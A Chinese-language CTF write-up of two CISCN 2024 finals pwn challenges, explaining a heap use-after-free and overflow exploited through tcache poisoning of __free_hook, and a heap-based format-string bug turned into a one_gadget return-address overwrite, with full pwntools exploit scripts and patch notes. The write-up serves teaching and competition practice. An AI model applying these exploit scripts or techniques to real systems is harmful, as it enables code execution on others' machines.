国赛决赛PWN赛后复现:

  • ezheap: 入门堆题,存在 UAF 和任意大小溢出
  • anime: 非栈上的格式化字符串漏洞

ezheap

程序分析

程序环境为 2.31,二进制保护全开:

$ checksec ./ezheap
[*] '/home/cameudis/ctf/ciscn2024-final/ezheap/ezheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序在读入用户输入后,马上就进行了神秘的解析操作。遇到这种情况,我们有以下解决方案:

  1. 盲猜是 JSON,或根据解析函数中的一些硬编码的字符发现是 JSON(比如 '{'
  2. 求助具有丰富逆向经验的队友,发现使用了 cJSON 库
  3. 使用提前准备的签名进行匹配,如下图所示:

cJSON Signature Match

关于 Binary Ninja 如何制作与匹配二进制签名,可以参考 官方文档

除了神秘的解析之外,本题就是一个入门级菜单堆题。漏洞点有两个:

  • Delete 函数中存在 dangling pointer(指针未清零);
  • Modify 函数中存在任意大小溢出;

利用思路

由于 new 函数中对堆块大小做了 0x400 的限制,且一共只能分配 7 个堆块,因此如果想要泄露 libc 地址,需要通过溢出把堆块 size 改大,来把堆块 free 进 unsorted bin 中。

在此以后,直接 view 还拿不到 libc 地址。由于 cJSON 的实现,在解析用户的指令时,它会申请一系列的堆块。由于刚刚释放进 unsorted bin 的堆块足够大,所以它会被切割数次,导致原来位置上不再是一个指向 unsorted bin 的指针。

但这种情况也很好解决,堆上还有很多遗留的地址,可以先 edit 然后顺带把地址给读出来。(感谢 V3rdant 师傅)

之后就是使用 tcache poisoning 来将 __free_hook 劫持为 system,然后执行 free("/bin/sh") 来拿到 shell 了。

Exploit Script

#!/usr/bin/python3
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "./libc.so.6"

elf = ELF(filename)
libc = ELF(libc_name)

context.log_level = 'info'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda :      io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)

# {"choice":"add","index":0,"length":16,"message":"aaa"}

def comm(choice, index, length, message):
    ru(b"Please input:")
    s(f'{"choice":"{choice}","index":{index},"length":{length},"message":"'.encode()+message+'"}\n'.encode())

def add(length, message):
    comm("new", 0, length, message)
def delete(index):
    comm("rm", index, 0, b"a")
def view(index):
    comm("view", index, 0, b"a")
def edit(index, length, message):
    comm("modify", index, length, message)

def pwn():
    add(0x40, b'im_block_0')
    add(0x40, b'im_block_1')

    # overflow block_1's size to 0x531 (thus next_chunk is top chunk)
    edit(0, 0x2a0, b'A'*0x298 + b'\x31\x05')

    # unsorted bin
    delete(1)

    # leak libc address
    edit(1, 0xa8, b'a'*0xa8)
    view(1)
    ru(b'a'*0xa8)
    libc_base = u64(ru(b'\n')[:-1].ljust(8, b'\0'))-0x1ecbe0
    log.info(f'libc_base: {hex(libc_base)}')

    # tcache poisoning
    add(0x40, b'im_block_2')
    add(0x90, b'im_block_3')
    add(0x90, b'im_block_4')
    delete(4)
    delete(3)
    edit(2, 0x2a8, b'a'*0x2a0 + pack(libc_base+libc.sym["__free_hook"])[:6])
    add(0x90, b'/bin/sh')
    add(0x90, pack(libc_base+libc.sym["system"])[:6])

    delete(5)

    io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
'''

if __name__ == "__main__":
    print("[*] Cameudis's PWN Framework")
    if len(sys.argv) == 1:
        io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
    elif sys.argv[1] == "d":
        io = process(filename)
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for direct without debug")
        print("\tr for remote")
        exit()

    pwn()

Patch

由于出题人的检验脚本非常恶心,所以本题修复难度非常大。我和队友尝试了非常多种方法后,最后发现把 malloc 的参数硬编码为 0x1000 就可以通过检测。

anime

程序分析

程序环境为 GLIBC 2.31,二进制保护全开:

$ checksec ./pwn
[*] '/home/cameudis/ctf/ciscn2024-final/anime/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

main 函数中,程序读取用户输入,并使用硬编码的 key 对输入进行 AES 解密。解密后的消息将会直接被使用 printf 打印出来,存在格式化字符串漏洞。程序会循环执行上述过程三次,然后从 main 函数返回。

本题的利用难点在于:存储用户输入的缓冲区位于堆上,且限制了我们只有三次攻击机会。

利用思路

关于非栈上的格式化字符串,可以先去找找别的资料看。

3 次机会一定是不足以打穿非栈的格式化字符串溢出的,必须想办法进行更多次攻击。在程序中,我们可以发现表示剩余次数的循环变量 i 保存在栈上,因此一开始仅有的这三次机会可以用来进行 i 的劫持。

  1. 泄漏栈地址、Libc 基址;
  2. 劫持一个栈上的栈指针,使其指向 i
  3. 劫持 i 为一个更大的数。
sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))

...
ru(b'.')
stack_base = int(ru(b'.')[:-1].decode(), 16)
success("stack_base: "+hex(stack_base))
i_addr = stack_base-0x124
success("i: "+hex(i_addr))
...

sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))

在此之后就是常规的攻击了。我选择将栈上的返回地址劫持为 libc 中的 one_gadget。

Exploit Script

我使用 Cryptodomex 库进行 AES 加密。如果有安装 Cryptodome 库,也可以直接将脚本中所有 Cryptodome 直接替换为 Crypto

#!/usr/bin/python3
from pwn import *
import sys
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import *

context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

context.log_level = 'info'
context.arch = 'amd64'

libc_name = "./libc.so.6"
filename = "./pwn"

libc = ELF(libc_name)
elf = ELF(filename)

# ------------------- Exploitation ------------------- #

ru  = lambda a:     io.recvuntil(a)
r   = lambda:       io.recv()
sla = lambda a,b:   io.sendlineafter(a,b)
sa  = lambda a,b:   io.sendafter(a,b)
sl  = lambda a:     io.sendline(a)
s   = lambda a:     io.send(a)

key = bytes([0x7b,0xf3,0x5c,0xd6,0x9c,0x47,0x5d,0x5e,0x6f,0x1d,0x7a,0x23,0x18,0x7b,0xf9,0x34])

def aes128_encrypt(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(pad(data, AES.block_size))

def aes128_decrypt(enc, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return unpad(cipher.decrypt(enc[AES.block_size:]), AES.block_size)


def pwn():

    sa(b'name', b'******')
    sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))
    ru(b'.')
    stack_base = int(ru(b'.')[:-1].decode(), 16)
    success("stack_base: "+hex(stack_base))
    i_addr = stack_base-0x124
    success("i: "+hex(i_addr))
    return_addr = i_addr+0x34
    success("return_addr: "+hex(return_addr))
    libc_base = int(ru(b'.')[:-1].decode(), 16)-0x24083
    success("libc_base: "+hex(libc_base))

    sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
    sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))

    one_gadget = libc_base + 0xe3b01

    print(f'[*] write {hex(one_gadget&0xFFFF)} to {hex(return_addr&0xFFFF)}')

    sa(b'4 times', aes128_encrypt(f'%{return_addr&0xFFFF}c%6$hn\0'.encode(), key))
    sa(b'3 times', aes128_encrypt(f'%{one_gadget&0xFFFF}c%45$hn\0'.encode(), key))

    print(f'[*] write {hex((one_gadget>>16)&0xFFFF)} to {hex((return_addr+2)&0xFFFF)}')

    sa(b'2 times', aes128_encrypt(f'%{(return_addr+2)&0xFFFF}c%6$hn\0'.encode(), key))
    sa(b'1 times', aes128_encrypt(f'%{(one_gadget>>16)&0xFFFF}c%45$hn\0'.encode(), key))

    ru(b'too!\n')
    io.interactive()


# ------------------ Infrastructure ------------------ #

def debug():
    g = gdb.attach(io, """
        # set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
        b *$rebase(0x1600)
        b *$rebase(0x15cb)
    """)
    # pause()

if __name__ == "__main__":
    if len(sys.argv) == 1:
        io = process(filename)
    elif sys.argv[1] == "d":
        io = process(filename)
        debug()
    elif sys.argv[1] == "r":
        io = remote(ip, port)
    else:
        print("Usage: ./exp.py [d | r]")
        print("\td for debug")
        print("\tr for remote")
        exit()

    pwn()

Patch

最简单的方式是直接把 printf 直接改成 puts

我们比赛时 patch 的方法是跳转到 .eh_frame 段的代码中,执行 printf("%s", buf)